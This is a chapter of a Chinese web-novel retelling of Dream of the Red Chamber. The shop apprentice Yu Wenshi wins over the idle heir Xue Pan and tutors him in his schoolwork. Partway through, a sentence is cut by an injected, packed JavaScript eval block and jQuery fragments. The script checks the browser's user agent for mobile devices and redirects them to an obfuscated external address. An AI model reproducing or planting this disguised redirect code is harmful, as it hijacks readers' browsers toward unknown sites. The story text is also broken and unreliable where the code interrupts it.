138.六九回下 薛文起勉得伴书郎
作品:《雪落红楼万芳春》 如此试了一回,张朝奉见这年轻人做事稳健有章法,且难得的是年纪虽轻、却不急不躁,于是更加放了心,从此就让他登上那令人生畏的高柜台,跟着自己鉴定物件儿。
一日,薛蟠照例到铺子里假模假式地“巡看”一番,实则只是要到柜上取钱供他去挥霍。
张朝奉因资历老,倒敢规劝他几句,也规定了他每次可支领钱货的数额,如此多事,叫薛蟠一直暗恨在心,只是碍于这老头儿是父亲在时的老人,连母亲也尊敬他,便也不能如何,若是换了别人,早让小厮胡乱打一顿、再拿大扫把赶了出去了,这才解气。
看不惯他、又干不掉他、又不想白受这老头儿的窝囊气。
薛蟠只好尽量选在张朝奉不在铺子里的时候来,少受几句唠叨也是好的。
薛蟠便是这样认识了于文施。
他不愿撞上张朝奉,更不愿在铺子里多停留,便催促柜上快快将银子点数好给他。
薛蟠一面催促,一面眼望着门口,希望那烦人的老货不要这样快回转来。
这时身后有个陌生声音道:“少东家久候,您拿好。”
他转身看时,见东西已整整齐齐地包成一包,拿在一个年轻人手中。
这人倒没见过,长身玉立、生得俊秀聪明,虽着店伙服色,气质却不俗。
薛蟠愣了一下,却也没兴致同伙计攀谈,只想快些拿了银子出去潇洒,伸手掂了一下那个绢包儿,不耐道:“银子拿来自然是要使的,又蝎蝎螫螫地包它作甚!”
那年轻人不慌不忙,一双褐色的眼珠颇为沉着,一拱手,答道:“包起来好些,不必脏了少东家的手。这里的整数银子已兑了可通兑的银票来,不至于沉手,另外还剪了几锭散碎银子并有几吊钱,是预备少东家赏人的,不必再着人另换了。”
薛蟠听他说完,果然周到齐全,觉得他倒不似寻常的伙计,那些人见了自己,要么是奉承得可厌、要么是藏不住的鄙夷,这个人待人接物令人十分舒服,薛蟠心里也自熨帖,便随口问了他的姓名。
于文施果然不是那等趋炎奉承之人,认真答了薛蟠的话,便告退去忙铺子里的事,丝毫不拖泥带水,倒让薛蟠十分新奇。
后面薛蟠又来了几回,每一次都是于文施接待他。
这倒也难怪,铺子里其他人见这位“少东家”花钱如流水,丝毫不顾惜这些人的劳动,都不爱敷衍他,接待薛蟠的任务便只能落在这个新人头上。
于文施每次都是淡淡的样子,谦恭有礼、不卑不亢,偏又让人心里舒坦。
终于有一次,薛蟠取了银子后,似乎有些烦躁,一时没有便走。
于文施察其颜色,知道他心里有事,便温言相询。
薛蟠也不知怎的,自然而然便对这个伙计十分亲近和信任,便将塾师贾代儒布置的限时三日的课业同他说了。
于文施含笑道:“恕文施冒昧,我倒不曾想,少东家竟是会为了‘功课’发愁的人。”
薛蟠略觉尴尬,干咳了几声,小声道:“功的什么劳什子的课,大爷是向来不放在心上的,依大爷的心意,只好一把火烧了才干净。我只恨那老酸儒讨厌,好好念他的经也罢了,咱们也从来不曾少他一分束脩,差不多也罢了、你好我也好,不就得了?谁上学里去又真是为了考状元去的?呵,谁知他是哪一根筋搭错了,从前也不大管事,如今却事多得很,不仅要我们背书、做文章,还要将他的‘评语’送回家里,给各人的父亲看。啧啧,我家里虽只得一个老娘,却不敢怠慢。我母亲心慈,不曾如何管束我,只望我能好生念书、少惹些事,若是教她知道我读书不中用,累她生气,我实在不愿的。”
于文施点点头,正色道:“少东家这一个‘孝’字,是最难得的。往日里旁人只说你如何不堪,我看倒是误了。”
薛蟠冷哼一声,眼风往旁边一扫,大咧咧地道:“怎么,那些人说我什么?嘁,大爷也不耐烦听他们嚼老婆舌头,左不过是议论我花钱。啧,我花自己家里的钱,又犯什么王法了不成?哪天我花光了钱,自往大街上要饭去,也不劳他们这些人接济!”
他越说越生气,嗓门也大起来。
于文施笑道:“少东家何必生气?旁人说什么,便由旁人说去,他们平日里瞧见的如何,便是如何,也并非凭空捏造。可大爷究竟是怎样的一个人,又想教旁人如何瞧你、想你,大爷自管心里有数罢了。”
薛蟠一怔。
这人把话说得云里雾里的,他一时也没闹明白是什么意思,到底对自己是褒是贬?
说来也怪,若是换了旁人在他跟前这么不清不楚地绕圈子说话,薛蟠早就几个大耳刮子招呼过去了。
偏生是这个小伙计,他不疾不徐地说着话,一面用那对沉静的褐色眼珠认真地看着你,就如小火上咕嘟着的汤一样,不过分沸腾、也不会冷下来,让薛蟠发不出一点火来。
于文施却已将话题进行下去了,道:“若蒙少东家不弃,小人虽无知识,在老家却也曾念过一些书,识得几个字,也能做些简单的文章……”
薛蟠闻言大喜,忙道:“那敢情好!”
他这般热切,倒换成于文施一怔,问道:“什么?”
薛蟠道:“嗐,有什么可‘弃’的?你说你读过书,我知道你们这些‘读书人’的毛病,就是要‘谦虚’,矫情巴拉的。啧,你再不济,也比我有墨水。来来来,你也不必做这劳什子的伙计了,这便跟着我罢,做个伙计,替我做文章去。”
于文施听明白他的意思,摇头笑道:“少东家误会了。小人的意思,并非是要为少东家‘代笔’。常言道,‘授人以鱼、不如授人以渔’,若是代作,就需得一直代作,再没个尽头的。依小人看来,少东家并非愚顽不灵之人,若能得些恰当的点拨,或者便可‘灵犀通明’。”
薛蟠将手乱摇,道:“说的什么话,叫你做书童,你不做,你心倒大,这是要做我的先生?啧,我已有了家学里那一个老货,还不够?现在我算是给架在火上烤了,要反悔,也反悔不得。现在又要我再弄一个活爹来供着?不不不,我再不干这样的事了。”
于文施笑道:“少东
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738414|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家言重了。小人虽也有些自负,却还不敢随便充人的先生,况且小人在铺子是为学徒,如今还未出师,是万万不可半途而废的。小人是有感于少东家的孝心,不过是想在少东家读书、作文时从旁襄助罢了。”
薛蟠嚷道:“不干、不干。”
他不在塾里时,从来也不读书作文。
话又说回来,便是在塾里时,又何尝读书作文了?还谈什么“香助”、“臭助”的。
于文施伸手作了一个“噤声”的手势,一面放低声音笑道:“少东家不知道,小人除了教人功课,还有几样别人没有的好处,保管少东家不作赔本的生意。”
看着他那对漂亮的眼睛,薛蟠不知怎么就给说动了。
于文施请张朝奉布置了一处静室,从此当真教起薛蟠功课来了。
薛蟠这个人,活了十七八岁,最大的定性就是玩性,向来在桌案前坐不住半刻,手里也捧不住书。
自开蒙起,多少德高望重的先生教过,皆是无法,连他亲爹也无计可施,谁知却被于文施这个同龄人拿捏得死死的。
最初应于文施的要求在铺子里替薛蟠设置静室时,张朝奉并未当作一回事,只将往日存放账本、文书的小室腾了半间出来,东西也未搬远。
他以为,以薛蟠往日的为人,至多不过两天便要厌烦了,到时还是要将地方还给账本和文书的,便不如何费心。
可出乎所有人意料的是,薛蟠却就这么坚持下来了,不上学时,往铺子里走得勤快多了。
张朝奉从旁瞧着,也是暗暗点头,又不着痕迹地让人将那间屋子重新收拾了一遍,把原本没搬走的文书、杂物都清理一空。
后来主母来请他发表对这个小伙计的看法时,他并不藏私,对这个后生极尽赞美之词,薛姨妈也才放心让儿子同他继续往来。
于文施倒没有吹牛,他真有几件别人没有的好处。
这个人不仅在诗书上有相当的积累,还装了一肚子的奇闻轶事,每当察觉薛蟠要走神,便能立即想一个用词浅显、却新鲜有趣的故事,将他的注意力捉回来。
在讲论诗文时,不同于传统的学塾教育方式,于文施更重视解释、善于引导,不是一味念经、掉书袋。
在于文施的世界里,似乎没有一个问题是‘蠢’的,哪怕是六七岁的学童也该不假思索地掌握的知识,只要薛蟠肯问,他便像是听到了什么最有趣、最值得回答的问题一般,务求详尽地解答给他,一遍听不懂,就讲两遍。
薛蟠还是想让于文施帮他代作文章,可对方拒绝了一次又一次,转而拿着代儒布置的功课,替他逐字破题,并且不厌其烦地鼓励薛蟠试着自己作,只要先有一个想法,哪怕是作一首打油诗也是好的。
薛蟠将一支毛笔都要咬烂了,也作不下一个字来。
坐得闷了时,他便想摔笔、撕书、掀桌。
可每当对上于文施的目光,他便无法再任着性子妄为。
于文施从不责备他半个字,那双褐色的眼睛却似乎已经代替他的嘴说尽了天下的道理。